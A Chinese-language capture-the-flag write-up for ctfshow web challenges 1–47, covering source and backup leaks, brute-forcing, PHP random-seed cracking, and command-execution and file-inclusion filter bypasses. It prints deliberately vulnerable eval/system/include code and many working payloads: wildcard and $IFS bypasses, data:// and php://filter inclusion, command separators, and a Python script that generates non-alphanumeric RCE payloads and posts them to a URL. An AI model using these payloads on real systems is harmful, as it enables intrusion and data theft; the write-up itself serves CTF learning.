ctfshow web 部分 wp
###(之后有空就补截图)
# 信息搜集
# web1
开发注释未及时删除
查看源代码得到flag
# web2
js 前台拦截 === 无效操作
ctrl+u快捷键查看源代码得到flag
# web3
没思路的时候抓个包看看,可能会有意外收获
1)f12查看网络检查文件头得到flag
2)burpsuite抓包,Repeater回显检查文件头得到flag
# web4
总有人把后台地址写入 robots,帮黑阔大佬们引路。
robots.txt 文件泄露,放在网站的跟目录下,用于限制浏览器的访问(哪些可以抓取,哪些不能抓取)用于防止黑客,但是任何人可在 url 中直接通过 /robots.txt 访问,导致网站结构被泄露。可对 admin 等重要文件设置密保保护,或者采取更换文件名的方法防御.
检查robots.txt得到线索Disallow: /flagishere.txt,访问得到flag
# web5
phps 源码泄露有时候能帮上忙
php 备份文件:后缀为 php~ 或者 index.php.bak
php 的源代码文件:后缀为 phps
phps 文件泄露,phps 存放着 php 源码,可通过尝试访问 /index.phps 读取,或者尝试扫描工具扫描读取.
用御剑扫码只得到index.php,根据题目提示,访问index.phps得到文件,打开得到flag
# web6
解压源码到当前目录,测试正常,收工
压缩文件也可能包含文件的源码等,注意 rar zip 后缀
用dirsearch工具扫描目录,用其他工具扫也可以,得到www.zip压缩包,解压得到源码和文本,得到提示,flag in 文本里,浏览器访问此文本得到flag
# web7
版本控制很重要,但不要部署到生产环境更重要。
git 文件泄露,当开发人员使用 git 控制版本时,如果操作不当,可能导致 git 流入线上环境,导致.git 文件夹下的文件被访问,代码泄露,如.git/index 文件可找到工程所有文件名和 sha1 文件,在 git/objects 下载导致危害
dirsearch工具扫描目录,得到.git线索,访问得到flag
# web8
版本控制很重要,但不要部署到生产环境更重要。
svn 泄露,svn 是源代码管理系统,在管理代码的过程中,会生成一个.svn 的隐藏文件,导致源码泄露(造成原因是在发布代码时没有使用导入功能,而是直接粘贴复制)
dirsearch工具扫描目录,得到.svn线索,访问得到flag
# web9
发现网页有个错别字?赶紧在生产环境 vim 改下,不好,死机了
vim 缓存泄露,在使用 vim 进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以 index.php 来说,第一次退出后,缓存文件名为 .index.php.swp,第二次退出后,缓存文件名为.index.php.swo, 第三次退出后文件名为.index.php.swn
下载index.php.swp得到flag
# web10
cookie 只是一块饼干,不能存放任何隐私数据
查看cookie值,url编码解码得到flag
# web11
域名其实也可以隐藏信息,比如 flag.ctfshow.com 就隐藏了一条信息
https://boce.aliyun.com/home查询域名txt记录得到flag
# web12
有时候网站上的公开信息,就是管理员常用密码
用dirsearch或dirb工具扫目录,发现有admin后台,根据提示,网站信息是管理员的密码,翻到最底下看到一串数字,尝试admin、372619038登陆得到flag
# web13
技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
根据题目提示,在网页查找线索,翻到最下面看到一个document,打开得到后台地址用户名密码,登陆得到flag
# web14
有时候源码里面就能不经意间泄露重要 (editor) 的信息,默认配置害死人
根据题目提示,查看源代码搜索editor,尝试访问editor编辑器,发现可以,点击上传文件查看文件空间,查看html源代码文件,看到一个很明显的文件夹nothinghere,访问里面的文本得到flag
# web15
公开的信息比如邮箱,可能造成信息泄露,产生严重后果
根据题目提示,查看邮箱
将这些信息保留,查看有没有后台,可用搜索目录工具搜
这里直接点忘记密码
根据之前的 QQ 邮箱查找,得知所在地在西安
登陆得到 flag
# web16
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
有的网站搭建时可能在根目录下留下探针,所以直接访问 tz.php
发现 phpinfo 是灰色的可以点击,搜索 FLAG 得到 flag
# web17
备份的 sql 文件会泄露敏感信息
用扫描目录工具扫出 backup.sql,下载文件得到 flag
# web18
不要着急,休息,休息一会儿,玩 101 分给你 flag
小游戏一般都是 js 前端,查看源代码 js 文件找线索
找到个 unicode 编码,解码得到线索
访问 110.php 得到 flag
# web19
密钥什么的,就不要放在前端了
查看源码
根据线索,AES 解密,得到密码登陆得 flag
# web20
mdb 文件是早期 asp+access 构架的数据库文件,文件泄露相当于数据库被脱裤了。
扫描目录
得 flag
# 爆破
# web21
爆破什么的,都是基操
考点:基础爆破工具的使用
burpsuite 抓包
发现 base64 编码,解码后发现是我们输入进去的用户名和密码,题目也给出了字典,接下来就是爆破
选中发送到 Intruder 模块,选中变量,选择自定义
这里分别给三段,admin 一段,:一段,字典一段
选择 base64 编码,勾掉 url 编码,因为会误判 base64 编码,开始爆破
根据长度
ctfshow{92f49a08-737e-4358-a25a-348a1463ba63}
# web22
域名也可以爆破的,试试爆破这个 ctf.show 的子域名
考点:域名爆破
工具:Layer 挖掘机
大概就是这样,vip.ctf.show 访问发现 flag
flag{ctf_show_web}
# web23
还爆破?这么多代码,告辞!
大致意思是,GET 一个参数 token,token 的 MD5 加密后的值如果满足下面的判断,就输出 flag
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-03 11:43:51 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-03 11:56:11 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
include('flag.php'); | |
if(isset($_GET['token'])){ | |
$token = md5($_GET['token']); | |
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ | |
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ | |
echo $flag; | |
} | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} | |
?> |
payload: | |
<?php | |
for($i=0;$i<10000;$i++){ | |
$token = md5($i); | |
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ | |
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ | |
echo 'token='.$i.'&'.'md5='.$token; | |
} | |
} | |
} | |
?> |
大意是从 0 循环到 10000,若某数的 MD5 满足条件,则输出此数
将 payload 运行一下
将结果 get 形式输入得到 flag
ctfshow{63e95184-b8e8-4b9a-b716-f085f122cfc2}
# web24
爆个🔨
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-03 13:26:39 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-03 13:53:31 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
include("flag.php"); | |
if(isset($_GET['r'])){ | |
$r = $_GET['r']; | |
mt_srand(372619038); | |
if(intval($r)===intval(mt_rand())){ | |
echo $flag; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
echo system('cat /proc/version'); | |
} | |
?> Linux version 5.4.0-131-generic (buildd@lcy02-amd64-108) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 Linux version 5.4.0-131-generic (buildd@lcy02-amd64-108) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 |
网上搜索了 mt_srand 函数使用
<?php | |
mt_srand(mktime()); | |
echo(mt_rand()); | |
?> |
payload: | |
<?php | |
mt_srand(372619038); | |
echo(mt_rand()); | |
?> |
GET 形式输出得到 flag
ctfshow{5065d66d-72ca-4749-8cde-61c9518cf77a}
# web25
爆个🔨,不爆了
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-03 13:56:57 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-03 15:47:33 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
include("flag.php"); | |
if(isset($_GET['r'])){ | |
$r = $_GET['r']; | |
mt_srand(hexdec(substr(md5($flag), 0,8))); | |
$rand = intval($r)-intval(mt_rand()); | |
if((!$rand)){ | |
if($_COOKIE['token']==(mt_rand()+mt_rand())){ | |
echo $flag; | |
} | |
}else{ | |
echo $rand; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
echo system('cat /proc/version'); | |
} | |
Linux version 5.4.0-131-generic (buildd@lcy02-amd64-108) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 Linux version 5.4.0-131-generic (buildd@lcy02-amd64-108) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 |
首先进行代码审计,mt_srand (seed) 是发放 seed 种子然后靠 mt_srand 生成随机数,这里没有给出 seed,所以我们需要通过工具逆向推出 seed
mt_srand(hexdec(substr(md5($flag), 0,8))); |
$rand 不为 true,则返回 true,所以通过 GET 形式 $r=0 得到第一个随机数的负数,如果 $_COOKIE ['token'] 等于两个 mt_rand () 随机数的和则输出 flag
$rand = intval($r)-intval(mt_rand()); | |
if((!$rand)){ | |
if($_COOKIE['token']==(mt_rand()+mt_rand())){ | |
echo $flag; | |
} | |
}else{ | |
echo $rand; | |
} |
打开 kali,这里我们用 php_mt_seed,我们选用 php7 的 seed
payload: | |
<?php | |
mt_srand(0x3b63da0d); | |
mt_rand(); | |
echo mt_rand()+mt_rand(); | |
?> |
得到 token 的随机数,我们 burpsuite 抓包,在 cookie 上添加 token 和第二第三次随机数的和,在 GET 形式输出第一次获得的随机数得到 flag
ctfshow{64cc811c-54b6-4906-acd0-91469d377dd0}
# web26
这个可以爆
burpsuite 抓包爆破密码
ctfshow{19e3283c-f4d3-4249-9f87-780ae05a38ac}
# web27
CTFshow 菜鸡学院招生啦!
下载录取名单,看到录取名单和查询系统可知,就是爆破出生日期,这里以第二个为例
首先用 burpsuite 抓包,这里我用火狐抓不到包,所以用了其他浏览器
选择爆破变量
选择日期类型,格式 yyyyMMdd 后开始爆破
爆破出来后发现 msg 是 url 编码,解码后得到线索 “恭喜您,您已被我校录取,你的学号刷初始密码为身份证号码”
登陆得到 flag
ctfshow{2ccb2be2-6545-441a-8b16-070d6395726a}
# web28
大海捞针
题目提示:
通过暴力破解目录/0-100/0-100/看返回数据包
爆破的时候去掉2.txt 仅仅爆破目录即可
根据提示,只需要爆破目录即可,burpsutie 抓包选中变量,去掉 2.txt,将模式改成 Cluster bomb (集束炸弹)
之后设置 payload1,payload2 同理,设置完后开始爆破
查看状态栏的升序看到个 200,得到 flag
ctfshow{bb330eeb-0827-42c2-be2e-8a942cbc3b1c}
# 命令执行
# web29
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 00:26:48 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
首先先代码审计
preg_match("/flag/i", $c) | |
i是不区分大小写,preg_match函数过滤掉flag |
我们可以用通配符输出 flag
payload: | |
?c=system('cat f*'); |
ctfshow{9d6e8252-afda-45d3-a707-c71cc83c5f38}
# web30
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 00:42:26 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
这次是 flag、system、php 被过滤掉了
命令执行函数 | |
system() | |
passthru() | |
exec() | |
shell_exec() | |
popen() | |
proc_open() | |
pcntl_exec() | |
反引号 同shell_exec() |
payload: | |
?c=echo exec('cat f*'); |
ctfshow{285ab479-be6c-4880-9ec9-254b3c17ca90}
# web31
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 00:49:10 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
这次过滤掉了 cat|sort|shell、点和单引号
payload1: | |
c=eval($_GET[a]);&a=system('cat f*'); | |
// 嵌套 eval 绕过 preg_match 函数 | |
payload2: | |
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php | |
// 利用 include 结合伪协议包含读取 | |
payload3: | |
?c=passthru("tac$09f*"); | |
/* | |
passthru 直接读取 | |
$09 代替空格 | |
*/ | |
payload4: | |
?c=passthru("tac\$IFS\$09f*"); | |
//$IFS$09 结合绕过空格 |
ctfshow{8fae6aeb-110e-42fe-81fe-d74ee49c1e52}
# web32
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 00:56:31 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
点、空格、单引号、反单引号、echo、分号、括号都过滤掉了(过滤 sssss)
payload1: | |
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php | |
// 利用 include 结合伪协议包含读取 |
ctfshow{d8264780-aefd-4fe8-a561-fea3b300a63b}
# web33
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 02:22:27 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤升级,添加了双引号
payload: | |
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php | |
// 利用 include 结合伪协议包含读取 |
ctfshow{0c229e04-4fd2-45b7-9ca7-66887b0a11c7}
# web34
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 04:21:29 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤升级,添加了冒号
payload: | |
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php | |
// 利用 include 结合伪协议包含读取 |
ctfshow{d0a0ee0e-d7a9-4e57-a1b1-a3d8a313e914}
# web35
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 04:21:23 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤升级,添加了 < 和 = 的过滤
payload: | |
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php | |
// 利用 include 结合伪协议包含读取 |
ctfshow{588e57f9-b27c-4268-832c-ff6e730f463c}
# web36
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 04:21:16 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤升级,添加了 / 和 0-9 的数字
payload: | |
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php | |
// 利用 include 结合伪协议包含读取 |
ctfshow{4f3d6214-9a2f-4161-9e22-0b7d499974c9}
# web37
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 05:18:55 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
//flag in flag.php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag/i", $c)){ | |
include($c); | |
echo $flag; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了 flag,是 include 文件包含
payload1: | |
?c=data://text/plain,<?php system('cat f*');?> | |
//data://可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行 | |
payload2: | |
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== | |
//base64编码内容是<?php system('cat f*');?> |
ctfshow{18f0b970-3518-43ba-bb0b-293ead0fb0e7}
# web38
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 05:23:36 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
//flag in flag.php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|php|file/i", $c)){ | |
include($c); | |
echo $flag; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤升级,添加了 php 和 file 的过滤
payload: | |
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== |
ctfshow{9eb90688-af2b-4954-abbb-87990f68352e}
# web39
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 06:13:21 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
//flag in flag.php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag/i", $c)){ | |
include($c.".php"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
.php 因为前面的 php 语句已经闭合了,所以后面的.php 会被当成 html 页面直接显示在页面上,起不到什么作用,使用短标签绕过
payload: | |
?c=data://text/plain,<?=system('cat f*');?> |
ctfshow{f3b87a5e-30ff-4dbc-a558-0ed3ba514721}
# web40
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 06:03:36 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取,正则中的括号不是英文的 是过滤了中文的括号
payload: | |
?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); | |
/* | |
localeconv ():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号 (.) | |
pos ():返回数组中的当前元素的值。 | |
scandir ():获取目录下的文件 | |
array_reverse ():数组逆序 | |
next ():函数将内部指针指向数组中的下一个元素,并输出。 | |
show_source ():对文件进行语法高亮显示 | |
首先通过 pos (localeconv ()) 得到点号,因为 scandir (’.’) 表示得到当前目录下的文件,所以 scandir (pos (localeconv ())) 就能得到 flag.php 了 | |
*/ |
ctfshow{d100f4e0-8aba-4c75-837e-d67a710889f0}
# web41
过滤不严,命令执行
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: 羽 | |
# @Date: 2020-09-05 20:31:22 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:40:07 | |
# @email: 1341963450@qq.com | |
# @link: https://ctf.show | |
*/ | |
if(isset($_POST['c'])){ | |
$c = $_POST['c']; | |
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ | |
eval("echo($c);"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} | |
?> |
这里过滤了数字和字母还有一些符号,我们借用大佬的脚本先生成一个 ascii 码的文本
<?php | |
// 大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符 | |
$myfile = fopen("rce_or.txt", "w"); | |
$contents=""; | |
for ($i=0; $i < 256; $i++) { | |
for ($j=0; $j <256 ; $j++) { | |
if($i<16){ | |
$hex_i='0'.dechex($i); | |
} | |
else{ | |
$hex_i=dechex($i); | |
} | |
if($j<16){ | |
$hex_j='0'.dechex($j); | |
} | |
else{ | |
$hex_j=dechex($j); | |
} | |
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; | |
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ | |
echo ""; | |
} | |
else{ | |
$a='%'.$hex_i; | |
$b='%'.$hex_j; | |
$c=(urldecode($a)|urldecode($b)); | |
if (ord($c)>=32&ord($c)<=126) { | |
$contents=$contents.$c." ".$a." ".$b."\n"; | |
} | |
} | |
} | |
} | |
fwrite($myfile,$contents); | |
fclose($myfile); |
再通过 python exp.py [url] 的方式运行。
这里说一句,由于脚本导入了 urllib 包,python2 没找到,所以就用 python3,python3 自带的 urllib 包 (花了三小时找到结果)
# -*- coding: utf-8 -*- | |
import requests | |
import urllib | |
from sys import * | |
import os | |
os.system("php rce_or.php") #没有将 php 写入环境变量需手动运行 | |
if(len(argv)!=2): | |
print("="*50) | |
print('USER:<url>') | |
print("eg: python exp.py http://ctf.show/") | |
print("="*50) | |
exit(0) | |
url=argv[1] | |
def action(arg): | |
s1="" | |
s2="" | |
for i in arg: | |
f=open("rce_or.txt","r") | |
while True: | |
t=f.readline() | |
if t=="": | |
break | |
if t[0]==i: | |
#print(i) | |
s1+=t[2:5] | |
s2+=t[6:9] | |
break | |
f.close() | |
output="(\""+s1+"\"|\""+s2+"\")" | |
return(output) | |
while True: | |
param=action(input("\n[+] your function:") )+action(input("[+] your command:")) | |
data={ | |
'c':urllib.parse.unquote(param) //参数,可改 | |
} | |
r=requests.post(url,data=data) | |
print("\n[*] result:\n"+r.text) |
ctfshow{729fcef2-a2e1-4a6e-87b4-e46e48ac9b62}
# web42
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 20:51:55 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
system($c." >/dev/null 2>&1"); | |
}else{ | |
highlight_file(__FILE__); | |
} |
>/dev/null 2>&1主要意思是不进行回显的意思 | |
分解这个组合:“>/dev/null 2>&1” 为五部分。 | |
1:> 代表重定向到哪里,例如:echo "123" > /home/123.txt | |
2:/dev/null 代表空设备文件 | |
3:2> 表示stderr标准错误 | |
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1 | |
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 "1>/dev/null" | |
我们要让命令回显,那么进行命令分隔即可 | |
; // 分号 | |
| // 只执行后面那条命令 | |
|| // 只执行前面那条命令 | |
& // 两条命令都会执行 | |
&& // 两条命令都会执行 | |
payload: | |
c=cat flag.php; | |
c=cat flag.php|| | |
c=cat flag.php%0a (%0a换行符) |
# web43
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 21:32:51 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
审计代码,过滤了cat和分号 | |
payload: | |
?c=more flag.php|| | |
?c=sort flag.php|| | |
?c=less flag.php|| | |
?c=tac flag.php|| | |
?c=tail flag.php|| | |
?c=nl flag.php|| | |
?c=strings flag.php|| |
ctfshow{38c4a65d-9e24-45ae-bb80-589f5e2fb4e4}
# web44
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 21:32:01 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/;|cat|flag/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了分号、cat、flag,通配符绕过即可
payload
c=tac f*||
c=tac ????.???||
c=tac fl\ag.php||
c=tac fl''ag.php||
c=tac f*%0a
ctfshow{cf2310be-6e0a-45ce-a0bd-dd266236e994}
# web45
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 21:35:34 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| /i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
新过滤了空格,空格绕过即可 | |
>` `<` `<>` 重定向符 | |
`%09`(需要php环境) | |
`${IFS}` | |
`$IFS$9` | |
`{cat,flag.php}` //用逗号实现了空格功能 | |
`%20` | |
`%09 | |
payload | |
?c=tac$IFS*|| | |
?c=tac${IFS}f*|| | |
?c=tac$IFS$9f*|| | |
?c=tac$IFS*%0A |
ctfshow{bc60f83a-81a0-48ba-9b2b-8d76432b5285}
# web46
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 21:50:19 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
新过滤了0-9的数字、$、星号,重定向符绕过即可 | |
>` `<` `<>` 重定向符 | |
payload | |
?c=tac<fl''ag.php|| | |
?c=tac%09fl''ag.php|| |
ctfshow{7661bef9-e84e-473f-b781-312b85028f2c}
# web47
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 21:59:23 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
新过滤了more、less、head、sort、tail,挑没过滤掉的使用即可 | |
payload: | |
?c=tac%09fl''ag.php|| | |
?c=tac%09????.???|| | |
?c=nl%09fl''ag.php|| | |
?c=nl<fl''ag.php|| |
